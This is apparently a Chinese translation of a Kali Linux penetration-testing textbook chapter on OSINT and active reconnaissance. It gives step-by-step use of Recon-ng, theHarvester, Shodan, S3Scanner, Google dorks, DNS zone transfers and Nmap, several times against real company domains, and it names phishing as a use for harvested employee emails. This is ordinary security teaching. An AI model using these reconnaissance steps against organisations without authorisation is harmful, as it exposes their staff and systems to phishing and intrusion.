  1. 在终端上执行以下配置以下载最新版本的 Recon-ng 并安装它:
git clone https://github.com/lanmaster53/recon-ng.git
cd recon-ng
pip install -r REQUIREMENTS
./recon-ng

完成后,您的屏幕应与以下屏幕截图类似:

  1. 如果没有安装或启用任何模块,请使用以下命令将所有模块安装到 Recon-ng 上:
marketplace install all 

您还可以使用modules reload命令重新加载所有模块。

现在 Recon-ng 框架已经打开,让我们通过以下说明熟悉其界面:

  1. 要查看Recon-ng v5中的所有模块,我们必须使用modules search命令查看所有可用模块的列表。所有模块将按其类别(DiscoveryExploitationReconReporting等)呈现,如下面的屏幕截图所示:

作为渗透测试人员,您可能会在整个职业生涯中为多个组织使用相同的工具。我们可以在 Recon-ng 中创建工作空间,以帮助更有效地隔离我们的项目/数据。如果您仔细观察命令行界面,您会看到方括号之间的单词default。这意味着我们当前在 Recon-ng 的默认工作空间中。

  1. 要创建一个工作空间,我们可以使用workspaces create <worksplace-name>命令。我们将创建一个名为pentest的新工作空间。在 Recon-ng 界面中使用workspaces create pentest命令。

  2. 要查看所有现有工作空间并验证我们新工作空间的创建,我们可以使用workspaces list命令:

  1. 要使用pentest工作空间,请使用workspaces select pentest命令。您的命令行界面上的工作空间应该会改变。

  2. 现在我们已经将一个公司及其域添加到我们的数据库中,让我们搜索一个执行whois查找的模块。我们可以使用modules search whois命令,其中whois是关键字或搜索条件:

  1. 我们将使用point-of-contacts (POCS)模块来获取与该域相关的人员的更多详细信息。要执行此操作,请执行modules load recon/domains-contacts/whois_pocs命令。使用info命令将为您提供模块的描述以及是否需要额外的参数:

default值是由模块的开发者设置的;为 Recon-ng 中的每个模块设置自己的源。此外,您可以使用info命令查看有关模块的详细信息。input命令将列出模块SOURCE组件的输入值。input命令对于验证特定模块的SOURCE值非常有用。

  1. 让我们将SOURCE值设置为microsoft.com;可以通过使用options set SOURCE microsoft.com命令来完成,如下面的屏幕截图所示:

  1. 一切设置正确后,使用run命令来执行该模块对该域的分析。模块完成分析后,我们可以使用show contacts命令来查看信息列表,如人的名字、姓氏、电子邮件地址、地区和国家。

正如您所看到的,Recon-ng 是一个非常强大的工具,能够很好地处理数据管理。组织通常为许多目的创建子域;有些可以用作登录门户,或者只是网站上的另一个目录。

要获取目标的子域列表,请遵循以下步骤:

  1. 让我们通过使用modules search site命令来搜索合适的模块。Recon-ng 将返回一些包含site作为名称一部分的模块。

  2. 我们将使用google_site_web模块。只需执行modules load recon/domains-hosts/google_site_web命令:

  1. 接下来,让我们通过使用options set SOURCE microsoft.com命令来更改此模块的SOURCE值,如下面的屏幕截图所示:

  1. 使用run命令来执行此模块。

  2. 一旦模块完成了查询,使用show hosts命令来查看为microsoft.com域找到的子域的列表:

  1. 现在,让我们来点更有趣的。如何获取子域的 IP 地址?为此,我们将运行module load recon/domains-hosts/brute_hosts命令,并将SOURCE值设置为microsoft.com

  1. 一旦模块执行完成,再次使用show host命令。您应该看到与子域对应的 IP 地址:

作为渗透测试人员,编写报告可能会非常压倒,因为报告是对执行的操作和获得的结果的总结,而您在执行各种任务并使用多种工具时获得了这些结果。Recon-ng 有一些报告模块,能够以多种格式生成报告。dashboard命令将提供使用 Recon-ng 执行的任务的摘要,如下所示:

要生成报告,可以使用modules search report命令。这将让您在 Recon-ng 界面中查看报告模块的列表。我们将创建一个 HTML 格式的报告。要创建报告,请执行以下步骤:

  1. 执行modules load reporting/html命令。

  2. 使用options set CREATOR命令来设置报告的创建者。

  3. 使用options set CUSTOMER命令来设置客户。

  4. 使用options set FILENAME命令来设置报告的输出位置和文件名。

  5. 最后,使用run命令来执行该模块并生成报告。

以下屏幕截图上有标签,对应于使用reporting/html module生成和导出报告文件的上述步骤:

最后,导航到 Kali Linux 机器上的输出位置,并打开 HTML 文件。视图应该类似于以下内容:

现在,信息已经被很好地分类和总结以供查看。

在下一节中,我们将看看如何使用theHarvester来收集与组织相关的人员的电子邮件地址。

theHarvester

theHarvester 旨在收集给定公司的电子邮件地址、域和员工详细信息。theHarvester 使用互联网上的多个开放源,如搜索引擎,以可读的格式拼凑详细信息。

有关 theHarvester 的更多详细信息可以在其 GitHub 页面上找到:

github.com/laramies/theHarvester

要开始使用 theHarvester,执行以下步骤:

  1. 打开一个终端窗口并执行theharvester。工具的描述和用法将显示在终端上,如下面的屏幕截图所示:

  1. 让我们尝试收集公司员工的电子邮件地址,这些电子邮件地址是公开发布的,比如在论坛、网站、博客和社交媒体平台上。我们可以使用theharvester –d <domain> –b <data source>命令来做到这一点。在我们的示例中,我们将使用 Google 作为数据源来搜索checkpoint.com域的电子邮件地址:

结果为我们提供了一些公司员工的企业电子邮件帐户和一些子域的 IP 地址。我建议使用各种数据源收集尽可能多的信息。收集公司的电子邮件地址的一个目的是进行钓鱼攻击。

接下来,我们将使用 Shodan 搜索引擎,该引擎索引物联网IoT)和其他在线设备,以检索有关潜在目标的信息。

Shodan

Shodan (www.shodan.io)是一个搜索引擎,它索引了连接到互联网的各种设备。这意味着什么?为了阐明这一点,让我们以发现某种漏洞级别的设备为一个现实生活的例子。2019 年 1 月,Hacker News (thehackernews.com)发布了一篇文章,指出全球有超过 9,000 台 Cisco SMB RV320 和 RV325 路由器受到了新的漏洞利用的影响。这些漏洞是 CVE-2019-1652 和 CVE-2019-1653,它们允许恶意人士获取配置文件并控制设备。

本文可以在以下网址找到:

thehackernews.com/2019/01/hacking-cisco-routers.html

想象一下,你有兴趣在互联网上发现所有这类设备。使用 Shodan 作为常规搜索引擎,我们可以快速发现多个符合我们搜索条件的cisco rv325设备,如下面的屏幕截图所示。仔细看:我们可以看到在线 Cisco RV325 路由器的列表,它们的 IP 地址、主机名和位置:

结果提供了设备和 IP 地址的地理位置信息,以及固件版本等横幅信息。在左侧,我们可以看到一个全球地图,显示每个国家和组织的互联网连接设备数量。只需点击一个国家、一个组织,甚至一个 IP 地址,就可以为我们过滤这些信息。

点击 IP 地址将提供有关所选设备的更多信息,例如主机名、开放端口、运行服务、组织、互联网服务提供商ISP)详细信息以及设备易受的漏洞,如下面的截图所示:

从 Shodan 收集的信息可以帮助你在渗透测试期间建立目标组织的更好档案,因为它可以为你提供可能的操作系统版本和其他技术细节,这些细节可以帮助你成功地利用你的目标。简而言之,Shodan 可以帮助你识别目标组织和 IT 基础设施中的技术和控制系统。

在下一节中,我们将学习关于OSRFramework

OSRFramework

另一个令人敬畏的 OSINT 工具是 OSRFramework。这个工具集使用用户名、DNS 记录、深网搜索等进行查找,还有更多功能。

首先,我们可以在终端上执行osrf命令,以提供工具本身的用法描述。假设我们需要在社交媒体平台上获取目标公司的企业电子邮件地址列表。以下是我们可以利用 OSRFramework 的组件,从各种来源收集信息的组成部分:

  • domainfy:检查使用单词和昵称的域名是否可用

  • entify:使用正则表达式从提供的 URI 中提取实体

  • mailfy:获取有关电子邮件帐户的信息

  • checkfy:验证给定的电子邮件地址是否与模式匹配

  • phonefy:通过电话号码查找与垃圾邮件实践相关的信息

  • searchfy:在多个平台上执行查询

  • usufy:查找使用给定昵称注册的帐户

在我们的第一个例子中,我们可以尝试使用whois数据库获取有关目标域的信息。使用domainfy.py --whois –n <target>语法,框架将开始查询whois,并在几分钟后以表格格式提供结果。在我们的例子中,我使用了domainfy.py --whois –n checkpoint命令,专门检索包含名称checkpoint的任何域的信息。

以下是结果:

接下来,我们可以尝试获取给定搜索字符串的电子邮件地址。在这个第二个例子中,我们试图发现包含checkpoint字符串的电子邮件地址,该字符串已经在互联网上的各个网站上使用。我们可以通过使用mailfy.py –n checkpoint命令开始。我们将看到一个显示符合我们搜索条件的电子邮件地址、域和平台位置的表格,如下面的截图所示:

在我们的第三个例子中,我们将使用一个字符串来搜索 OSRFramework 的所有服务。为了完成这个任务,在你的终端上使用seachfy.py –q string命令。完成后,结果将显示并告诉你找到的位置、任何别名和 URL,如下面的截图所示:

此外,使用 OSRFramework 检查电话号码泄漏很简单。使用phonefy.py –n number命令,OSRFramework 将开始搜索。下面的截图显示了给定电话号码的 URL 位置和平台:

在我们的最后一个例子中,我们可以搜索用户名。使用usufy.py –n string命令将允许 OSRFramework 搜索各种在线资源。在这个例子中,我已经搜索了p@55w0rd1作为用户名,以下是结果:

正如你所看到的,OSRFramework 是 Kali Linux 平台中另一个非常强大的工具。使用这样的工具可以在信息收集过程中节省大量时间。

完成了这一部分后,您现在具备使用多个 OSINT 工具来收集有关目标组织的具体和详细信息的技能。在接下来的部分中,我们将讨论云资源中的数据泄漏问题。

识别目标技术和安全控制

作为渗透测试人员,确定目标网络或组织在执行外部网络渗透测试之前使用的技术是非常重要的。在对目标网络或组织进行任何攻击之前,通常发现目标使用的技术非常有用。这使我们作为渗透测试人员能够更好地装备自己,以适当的工具高效地完成工作。想象一下,作为木工开始新工作,但在第一天到达时没有任何工具,你如何能成功呢?

此外,事先了解目标网络上使用的技术和安全控制将使我们能够更好地准备自己,通过研究和开发利用已知安全漏洞来利用目标系统和网络上的弱点。我们将在接下来的部分中更详细地讨论这个想法。

使用 Shodan 发现技术

我们首先将使用 Shodan 来帮助我们发现目标服务器上运行的技术。请记住,Shodan 是一个物联网设备的搜索引擎,提供了有关连接到互联网的设备的深入信息。

要开始,请遵循以下步骤:

  1. 使用您的网络浏览器,访问www.shodan.io.

  2. 您可能需要注册并创建一个 Shodan 帐户以获得更好的结果。

  3. 在搜索栏中,输入要搜索设备的组织。以下截图显示了 Shodan 上的搜索栏:

  1. 一旦搜索完成,点击搜索结果中的目标,以访问 Shodan 找到的信息。

  2. 在目标页面上,您将看到一个打开的网络端口列表,运行的服务及其版本,以及正在使用的任何技术:

  1. 向下滚动一点,如果在目标上发现了任何已知的漏洞,Shodan 将提供一个带有描述的列表:

在下一节中,我们将介绍如何使用Netcraft来收集有关目标 Web 服务器底层技术的更详细信息。

Netcraft 的强大

Netcraft 使我们能够收集有关目标域的信息,如网络块信息、注册信息、电子邮件联系人、托管服务器的操作系统和 Web 平台。

要开始,请使用以下说明:

  1. 使用您的网络浏览器,访问www.netcraft.com/.

  2. 在下面的截图中突出显示的搜索栏中,输入一个域名:

如果搜索没有返回任何结果,请将www包括在网站地址中。

  1. 结果页面将显示有关目标的与网络相关的信息。向下滚动一点,直到看到Hosting History。该部分提供了托管服务器的操作系统、Web 服务器平台和服务版本,如下所示:

  1. 再向下滚动一点,直到看到Site Technology。该部分将告诉您 Netcraft 能够在目标 Web 服务器上识别的技术:

正如您所见,Netcraft 能够为我们提供非常有用的信息。我们现在可以利用找到的信息,进一步研究技术,找到已知的漏洞和利用方式来攻击目标。

使用 WhatWeb 识别技术

最后,我们可以看一下在 Kali Linux 中使用WhatWeb工具。WhatWeb 能够识别网站、电子邮件地址、Web 框架和数据库所使用的技术。

要开始使用 WhatWeb,请遵循以下步骤:

  1. 打开一个新的终端并输入whatsweb –h命令以获取帮助菜单,显示语法。

  2. 在我们的实验室中对目标(如 Metasploitable)运行 WhatWeb,使用whatweb <target>命令如下所示:

WhatWeb 能够为我们提供在我们的 Metasploitable 虚拟机上的 Web 服务器平台上使用的技术。

  1. 接下来,使用whatweb –v <target>命令,提供如下所示的详细输出:

在这里显示的详细输出中,WhatWeb 为我们提供了关于所使用的插件描述和它们的结果的更多细节。

在本节中,我们已经完成了各种旨在帮助我们发现目标网络或系统上正在使用的技术的练习。在下一节中,我们将深入学习云资源。

发现云资源中的数据泄漏

在过去的几年里,云计算已成为 IT 行业增长最快的趋势之一。云计算允许公司在云提供商的数据中心迁移和利用计算资源。云计算提供商采用按使用量付费的模式,这意味着您只需为您使用的资源付费。一些云提供商允许按分钟付费,而其他人则采用按小时付费的结构。

有三个大型云提供商:

  • Amazon Web ServicesAWS):亚马逊的云服务

  • Microsoft Azure:微软的云服务

  • Google Cloud PlatformGCP):谷歌的云服务

云提供商通常向客户提供存储设施。AWS 存储设施被称为简单存储服务S3)。每当客户启用 S3 服务时,都会创建一个存储桶。存储桶是 AWS 平台内的存储单元,客户可以在其中添加或删除文件。在 Microsoft Azure 中,文件存储设施被称为Azure Files。此外,在 GCP 上,存储设施被称为Google Cloud Storage

在信息安全领域,我们必须记住,当公司使用云平台时,云平台上的数据必须像在本地存储时一样受到保护。有时,管理员忘记启用安全配置或缺乏有关云解决方案安全性的知识。这可能导致攻击者发现目标组织的 AWS S3 存储桶。让我们现在看一个简单的例子。

flaws.cloud/是一个网站,你可以用它来了解云安全漏洞。

在我们的练习中,我们将使用 S3Scanner 工具。按照以下步骤开始:

  1. 这个工具在 Kali Linux 中没有预先安装,所以我们需要使用以下命令创建 GitHub 存储库的克隆:
git clone https://github.com/sa7mon/S3Scanner.git
  1. 接下来,使用cd S3Scanner命令切换到S3Scanner文件夹。

  2. 现在,您需要为此工具安装额外的依赖项。别担心-开发人员为我们简化了这一步。要完成此步骤,请使用pip install -r requirements.txt命令。

  3. 完成后,我们现在可以在目标域上使用我们的工具。使用python ./s3scanner.py domain语法,工具扫描器将为 AWS S3 存储桶创建一个域,并确定其是否可访问。

  4. 以下截图显示了使用 S3Scanner 来检查flaws.cloud域上的任何 AWS S3 存储桶:

  1. 在该域上找到了一个存储桶。此外,您可以创建一个包含多个域的文本文件,并一次查询整个文件。以下是查询存储在sites.text文件中的多个域的示例:

  1. 此外,我们可以使用host命令来解析域的 IP 地址。然后,通过使用带有ptr参数的nslookup实用程序,可以执行反向查找,这将导致我们获取 AWS S3 存储桶的实际名称,如下面的屏幕截图所示:

数据泄漏可能发生在任何平台和任何组织。作为一名即将成为渗透测试员和网络安全专业人员,您必须了解如何在实际黑客之前找到它们并利用它们。公司可以在云平台上存储敏感数据,甚至在云服务提供商网络上完全不受保护地留下其他数据。这可能导致成功检索数据和帐户。

了解谷歌黑客和搜索运算符

谷歌黑客的概念实际上并不是黑客进入谷歌的网络基础设施或系统,而是在谷歌搜索引擎中使用高级搜索参数。我们可以使用谷歌来帮助我们找到易受攻击的系统,隐藏的信息和互联网资源,只需在谷歌搜索栏中插入特殊的搜索运算符即可。

假设您想使用谷歌搜索引擎查找各种网站,但不想看到包含特定关键字或短语的结果。我们可以使用<string of text here> -<keyword>语法来实现这一点。关键字是您想要排除的短语或文本。

让我们看下面的例子:

在我们的例子中,我们正在搜索渗透测试工具。同时,我们告诉谷歌搜索算法不显示包含单词kali的任何结果。此外,我们可以使用<string of text here> "keyword"语法来查看包含关键字的结果。

以下表格是谷歌搜索运算符的简要列表,也称为谷歌 dorks,可帮助您在互联网上找到敏感信息:

此外,Offensive Security 团队(www.offensive-security.com)维护着 Exploit Database(www.exploit-db.com),其中有一个专门的部分称为Google Hacking DatabaseGHD)(www.exploit-db.com/google-hacking-database)。GHD 由社区成员不断更新,包含许多类别的搜索参数,如下面的屏幕截图所示:

每个搜索参数都可以复制并粘贴到谷歌搜索中,结果将相应显示。GHD 中的每个条目都包含对搜索运算符的简要描述。

以下是一个用于发现具有公开可用登录页面的 Cisco Adaptive Security Appliance (ASA)的搜索参数:

这些敏感信息和隐藏目录可能是黑客的游乐场;同样,对于渗透测试员来说,这是一个等待被利用的金矿。

我们已经完成了对谷歌黑客的讨论。在下一节中,我们将看一下如何使用 Kali Linux 本地复制网站。

利用 whois 和使用 HTTrack 复制网站

在本节中,我们将查看两个特定资源。我们将使用 whois 帮助我们从目标域的域名注册商那里收集联系信息,并使用HTTrack在本地复制网站。

让我们深入了解 whois 的功能以及它对我们有何益处。

whois

whois 是一个保存所有注册域的注册信息记录的数据库。以下是通常存储为公共记录的一些信息类型的简要列表:

  • 注册人联系信息

  • 管理联系信息

  • 技术联系信息

  • 域名服务器

  • 重要日期,如注册、更新和到期日期

  • 注册域 ID

  • 注册信息

访问 whois 数据库非常简单:您可以使用谷歌搜索引擎找到各种数据库。一些 whois 网站包括www.whois.netwhois.domaintools.comwho.iswww.whois.com。但是,Kali Linux 包含内置的 whois 工具。要在域上执行whois查找,请执行以下步骤:

  1. 在终端上使用whois <domain-name>语法,如下图所示:

  1. 域的信息将显示在终端上。获得的信息可以被渗透测试人员利用,用于对目标组织进行各种类型的攻击。

在下一节中,您将学习如何使用 HTTrack 将网站复制到本地。

HTTrack

HTTrack (www.httrack.com)允许我们离线查看整个网站。它通过在本地创建在线网站的克隆副本并将其存储在计算机上来实现这一点。要使用 HTTrack,只需打开一个新的终端窗口并执行以下步骤:

  1. 执行httrack命令以调用交互式向导。

  2. 为项目命名。

  3. 设置目标网站的离线副本存储路径。按Enter将使用括号中的默认值。

  4. 指定 URL。

  5. 选择适当的操作。

  6. 确认详细信息并启动 HTTrack 以镜像网站。

以下是一个屏幕截图,显示了我们刚刚概述的步骤:

克隆网站非常有用,因为您将能够发现和访问在线版本无法访问的隐藏资源和文件。作为渗透测试人员,您可以彻底探索每个离线目录;通常,网站管理员不会总是清理旧数据和文件,因此有很多可以探索的内容。

完成了本节,您已经掌握了将目标网站复制到 Kali Linux 机器上所需的知识。在下一节中,我们将尝试检索目标域的子域。

使用 Sublist3r 查找子域

作为互联网用户,您会意识到多个搜索引擎(如 MSN、谷歌、雅虎和必应)经常学习和索引新的和现有的网站,以改善它们的搜索结果。如果您搜索公司的网站,您很可能会发现主域名,如company.com。然而,许多组织出于各种原因创建子域。作为渗透测试人员,我们希望发现目标组织的所有可能子域,因为它们可能导致登录门户和敏感的企业目录,其中可能包含机密文件和资源。

我们可以利用搜索引擎的强大功能来使用Sublist3r工具。Sublist3r 是一个基于 Python 的工具,用于使用 OSINT(如搜索引擎和其他互联网索引平台)枚举(提取/获取)给定网站的子域。

Sublist3r 工具未在 Kali Linux 上原生安装,因此我们需要从其 GitHub 存储库下载它。

要开始,请执行以下步骤:

  1. 在您的 Kali Linux 机器上打开终端并执行以下命令:
git clone https://github.com/aboul3la/Sublist3r.git
  1. 克隆过程完成后,使用cd Sublist3r命令切换到Sublist3r文件夹。

  2. 在这一点上,我们可以使用 Sublist3r 工具来搜索目标域(公司)的子域,使用python sublist3r.py –d domain-name命令。左侧的屏幕截图显示了工具的成功调用,而右侧的屏幕截图显示了结果在终端上的显示:

使用这个工具可以节省我们本来要花在手动搜索互联网上的大量时间。

您现在已经学会了如何在 Kali Linux 上使用 Sublist3r 工具高效地发现目标网站的子域。

摘要

在本章中,我们讨论了在攻击目标之前进行侦察的重要性。在这个阶段收集的信息对渗透测试的后续阶段至关重要。信息收集有助于为渗透测试人员研究目标安全漏洞奠定基础,这对系统和网络利用是必需的。

我们概述了侦察和足迹之间的区别,并且我们还看了如何使用各种 OSINT 工具来获取有关各种目标的信息。

在下一章《主动信息收集》中,我们将进一步涵盖信息收集的主题。

问题

  1. 足迹的目的是什么?

  2. 可以使用哪些 OSINT 工具来收集信息?

  3. 使用 Google 搜索,您如何查看特定域的结果?

  4. 给出一个值得信赖的在线资源,用于研究漏洞利用。

  5. 您有兴趣收集目标公司的域注册信息。您会使用哪些资源?

  6. 您如何发现公司网站的子域?

进一步阅读

第六章:主动信息收集

在渗透测试的侦察阶段,主动信息收集可以提供非常有用的结果。通过这种主动方法,渗透测试人员直接连接到实际目标,收集开源情报OSINT)无法提供的具体细节。使用主动信息收集,渗透测试人员能够创建目标的非常详细的概要,收集操作系统类型和运行服务等信息。这些信息有助于研究和识别与目标相关的漏洞,从而缩小选择特定利用方式的范围。

在整个本章中,我们将专注于直接与目标进行互动,以收集有关其特定细节的信息,以帮助我们对任何正在运行的服务进行概要。了解如何执行主动侦察将为我们在利用阶段提供重要的帮助。在信息收集阶段,您将能够识别漏洞并确定适当的利用方式来入侵系统和网络。您还将能够从网络设备和系统中检索敏感信息。

在本章的过程中,我们将涵盖以下主题:

  • 了解主动信息收集

  • DNS 询问

  • 扫描

  • Nmap

  • Hping3

  • SMB、LDAP 枚举和空会话

  • 使用 EyeWitness 进行网络足迹和枚举

  • Metasploit 辅助模块

技术要求

以下是本章的技术要求:

了解主动信息收集

主动信息收集使用直接方法与我们的目标进行互动;它实际上涉及在我们的机器和目标网络和系统之间建立连接。通过执行主动信息收集,我们能够收集特定和详细的数据,如活动主机、运行的服务和应用程序版本、网络文件共享和用户帐户信息。

执行主动信息收集确实存在被检测的风险。

确定活动主机将让我们了解在线设备的数量。针对离线设备没有意义,因为它将无法响应。了解目标上的操作系统和运行的服务将帮助我们了解该设备在网络中的角色以及为其客户提供的资源。

例如,如果在主动信息收集过程中在目标系统上找到了大量文件共享,这可能意味着目标可能是一个具有大量重要数据的文件服务器。在执行主动信息收集时,攻击者的机器(在我们的案例中是基于 Kali Linux 的机器)向潜在受害者发送特殊查询,希望受害者机器会通过提供某种机密信息(如网络共享和服务版本)来回应。

现在您对主动信息收集有了更好的理解,让我们深入探讨以下各节中的实践。

DNS 询问

作为未来的网络安全专业人士,理解各种应用程序和网络协议的目的非常重要。在本节中,我们将专注于一个特定的协议:域名系统DNS)。

让我们首先进一步了解 DNS 的作用以及作为渗透测试人员如何获取信息。

DNS 是什么,为什么我们需要在网络上使用它?

DNS 就像一个包含名称、地址和电话号码的电话目录。DNS 用于网络——组织的内部网络和互联网上的外部网络。DNS 协议用于将主机名(域名)解析为 IP 地址。

在 DNS 出现之前,每台计算机都包含一个位于C:\Windows\System32\drivers\etc目录中的hosts文件。为了确保用户能够通过指定其主机名或域名到达各种网站或服务器,需要经常更新此文件。如果没有hosts文件,用户需要指定他们想要访问的服务器的 IP 地址。

网络上的所有设备都有一个分配的 IP 地址。记住要访问的每个服务器或网站的所有 IP 地址将是非常具有挑战性的。如果hosts文件不包含新服务器和网站的最新记录,用户将难以到达他们的目的地。

以下屏幕截图显示了 Windows 操作系统的hosts文件中的当前条目:

Windows 主机文件记录

DNS 帮助我们避免依赖hosts文件。许多知名的互联网公司,如思科、谷歌和 Cloudflare,都建立了包含几乎每个互联网域名记录的公共 DNS 服务器。为了进一步阐述,让我们用一个简单的例子来帮助您理解 DNS 的工作原理。

想象一下,您想访问一个网站,比如www.example.com

  1. 每当计算机或设备需要将主机名解析为 IP 地址时,它会向其 DNS 服务器发送 DNS 查询消息,如下图中的步骤 1所示。

  2. DNS 服务器将检查其记录,并在下图中的步骤 2中向客户端计算机提供域的 IP 地址。

  3. 最后,客户端收到 IP 地址,并在下图中显示的步骤 3中与www.example.com域建立会话:

DNS 交易

互联网上有许多公共 DNS 服务器;其中一些具有恶意性质,捕获您的 DNS 信息并将您重定向到有害的网站和域。因此,我建议在所有网络设备和计算机上使用受信任的 DNS 提供商,以提高您的在线安全性。以下是互联网上一些知名的 DNS 服务器:

此外,DNS 服务器不仅将主机名解析为 IP 地址,还包含用于各种类型解析的各种记录。

以下是不同的记录类型:

DNS 记录类型

A记录类型的示例将是将www.example.com的主机名映射到 IPv4 地址93.184.216.34;相同主机名的AAAA记录将包含 IPv6 地址2606:2800:220:1:248:1893:25c8:1946,依此类推。

nslookup实用程序是验证 DNS 信息的非常有用的工具。 nslookup可以执行各种任务,例如解析给定域的每种类型的 DNS 记录,并且具有查询特定 DNS 服务器的能力。

DNS 枚举是探测特定组织域的特定 DNS 记录的技术。换句话说,我们询问 DNS 服务器有关目标组织的 IP 地址和服务器名称。此外,我们尝试执行 DNS 区域传输。DNS 区域传输将允许将区域文件从主 DNS 服务器复制到另一个 DNS 服务器,例如辅助 DNS 服务器。

然而,DNS 服务器管理员有时会忘记应用安全控制以防止将区域文件复制到未经授权的服务器。成功的 DNS 区域传输可能导致渗透测试人员获取企业网络布局。在最坏的情况下(对于被定向的组织来说),组织可能没有在其 DNS 服务器上分离内部和外部命名空间。这样的错误配置可能导致某人为恶意目的获取这样的信息。

在接下来的练习中,我们将尝试提取给定域的各种 DNS 记录:

  • DNS 枚举

  • DNS 区域传输

  • 使用host实用程序进行 DNS 分析

  • 使用Fierce进行 DNS 询问

让我们深入研究并在 Kali Linux 上享受一些与 DNS 相关的乐趣!

执行 DNS 枚举和区域传输使用 dnsenum

dnsenum 是一个非常简单易用的工具,用于枚举和解析给定目标的 DNS 信息。此外,它具有使用名称服务器详细信息自动执行 DNS 区域传输的能力:

  1. 打开一个新的终端窗口并执行dnsenum命令。帮助菜单将显示,提供各种操作符/参数及其用法的详细描述。

  2. 使用dnsenum zonetransfer.me命令对zonetransfer.me域执行 DNS 枚举,如下面的屏幕截图所示:

dnsenum

dnsenum 将尝试获取给定域的所有服务器和主机名。我们能够获取找到的每个服务器和主机名的名称服务器、邮件服务器(用于电子邮件交换)和 IP 地址。

  1. dnsenum 将尝试通过查询枚举过程中找到的特定名称服务器来执行 DNS 区域传输,如下面的屏幕截图所示:

DNS 区域传输

就像前面的片段一样,dnsenum 工具能够成功地从nsztml.digi.ninja名称服务器中提取/复制主区记录。使用找到的信息,渗透测试人员将更好地了解目标组织(zonetransfer.me)的内部和外部网络设备。

访问敏感信息,例如我们发现的信息,可能会导致成功地入侵目标组织的网络。

接下来,我们将尝试使用本机 Linux 工具进行 DNS 分析。

使用host实用程序进行 DNS 分析

host实用程序是 Linux 操作系统的本机工具,可以帮助我们获取有关目标域的各种 DNS 信息:

  1. 在 Kali Linux 上打开一个新的终端并执行host zonetransfer.me命令;host工具将尝试获取域的 DNS 记录,如AMX记录:

使用host检索 DNS 记录

  1. 使用host -t ns zonetransfer.me命令尝试通过获取域的名称服务器来进行枚举。-t操作符允许您指定 DNS 记录:

名称服务器记录

  1. 现在我们已经获取了域的名称服务器,让我们利用迄今为止收集的信息。让我们尝试通过使用host -l zonetransfer.me nsztml.digi.ninja命令查询域的名称服务器来执行 DNS 区域传输,如下面的屏幕截图所示:

使用主机进行 DNS 区域传输

确保查询给定域的所有名称服务器 - 有时,一个服务器可能配置错误,即使其他服务器已经得到了保护。

现在您已经具备执行 DNS 枚举和区域传输的技能,让我们尝试使用 DNS 发现子域。

使用 dnsmap 查找子域

dnsmap与我们在前面的示例中看到的工具有些不同。dnsmap 尝试通过查询 Kali Linux 操作系统上的内置单词列表来枚举组织域名的子域。一旦找到子域,dnsmap 将尝试解析 IP 地址。

使用dnsmap microsoft.com命令,我们能够找到组织的子域和它们对应的 IP 地址:

dnsmap 结果

如前一节所述,发现组织的子域可以导致在域中找到隐藏的敏感门户和目录。

正如您可能已经注意到的,到目前为止我们使用的每个工具都为我们提供了更多的细节。在下一节中,我们将使用更具侵略性的工具来帮助我们提取有关目标域的更多细节。

使用 Fierce 进行 DNS 审讯

Fierce 被认为是一种半轻量级的 DNS 审讯工具。它对给定目标域的 IP 空间和主机名执行广泛的查找。要使用 Fierce,我们可以执行fierce -dns example.com命令,如下面的屏幕截图所示:

Fierce DNS 审讯

Fierce 将尝试获取给定域的所有 DNS 记录,并发现任何子域及其相应的 IP 地址。该工具可能需要一些时间来完成其审讯,因为它对目标域实施了深入分析。

我们现在已经完成了本节的练习。接下来,我们将直接与目标进行接触,使用各种扫描技术收集更具体的细节。

扫描

让我们将信息收集阶段推进一步。在本节中,我们将对目标执行各种扫描类型。这些将包括以下内容:

  • Ping 扫描

  • 操作系统和服务版本检测

  • 扫描禁用 ICMP 的主机设备

  • 执行隐蔽扫描

  • 使用 Nmap 扫描 UDP 端口

  • 使用 Nmap 执行规避扫描技术

扫描的目标是识别网络上的活动主机,确定系统上的开放和关闭端口,识别目标上运行的服务,并创建目标网络基础设施的网络图。在网络扫描阶段获取的信息对于创建目标组织的概况至关重要。

在许多国家,未经许可进行目标扫描是非法的。因此,我们将在我们的实验室内扫描设备。

在数据包中,有许多类型的 TCP 标志在网络上的两个或多个主机之间进行通信时使用。作为渗透测试人员,我们可以利用 TCP/IP 堆栈中的某些漏洞来执行网络扫描。换句话说,我们将向目标发送特制的标志,以确定其端口状态、操作系统、正在运行的服务及其版本;我们还将确定防火墙是否监视入站或出站流量等。

以下 TCP 标志位于数据包中:

  • URG:(紧急)指示应立即处理此数据包

  • PSH:(推送)立即发送缓冲数据

  • FIN:(结束)指示没有更多的传输需要发送

  • ACK:(确认)确认收到消息

  • RST:(重置)重置网络连接

  • SYN:(同步)用于初始化主机设备之间的连接

通过使用 Wireshark(www.wireshark.org)等工具,您可以观察网络上数据包的每个细节。

以下片段是设置了ACK标志的网络数据包的捕获:

启用 ACK 标志的数据包

此外,通过观察数据包中的细节,您可以看到源和目的地 MAC 地址、IP 地址、端口和其他重要特征。Wireshark 被认为是网络和网络安全专业人员中最好的网络协议分析器和嗅探器之一。

既然我们了解了扫描的重要性,让我们了解一下行业中最流行的扫描工具之一,Nmap。

Nmap

Nmap 是免费的,是 Windows 和 Linux 平台上最强大的网络扫描工具之一。Nmap 可以在许多方面帮助网络管理员和网络安全专业人员。

Nmap 的功能包括以下内容:

  • 创建网络清单

  • 检查活动主机

  • 确定操作系统

  • 确定运行的服务及其版本

  • 识别主机上的漏洞

  • 检测嗅探器

  • 确定网络上是否存在防火墙

我们将首先介绍 Nmap 的基础知识,然后逐渐转向高级扫描技术。作为渗透测试人员,我们必须确保拥有一套工具,可以帮助我们高效地完成工作。然而,作为专业人士,我们还必须确保非常熟悉并知道如何使用我们可用的每个工具。

因此,我们将从对目标进行基本扫描开始:

  1. 让我们从打开一个新的终端并使用以下语法开始:nmap <目标 IP 或主机名>

  2. 我们将扫描一个已经给予我们合法许可的网站。让我们使用nmap scanme.nmap.org命令:

Nmap 扫描 1

通过定期扫描目标或网络,Nmap 会检查目标上使用最广泛的 1000 个 TCP/IP 端口。

  1. 观察输出,Nmap 能够识别开放的端口,确定开放的端口是 TCP 还是 UDP,识别应用层协议,并找出目标的 IP 地址(IPv4 和 IPv6)。

确定目标上的开放端口就像发现系统中的开放门一样,确定服务可以帮助我们缩小搜索和利用漏洞的范围。

要对 IPv6 地址进行扫描,可以包括-6操作符,如:nmap -6 2600:3c01::f03c:91ff:fel8:bb2f

Nmap 并不那么难,对吧?让我们在接下来的部分中更深入地了解 Nmap。

使用 Nmap 进行 ping 扫描

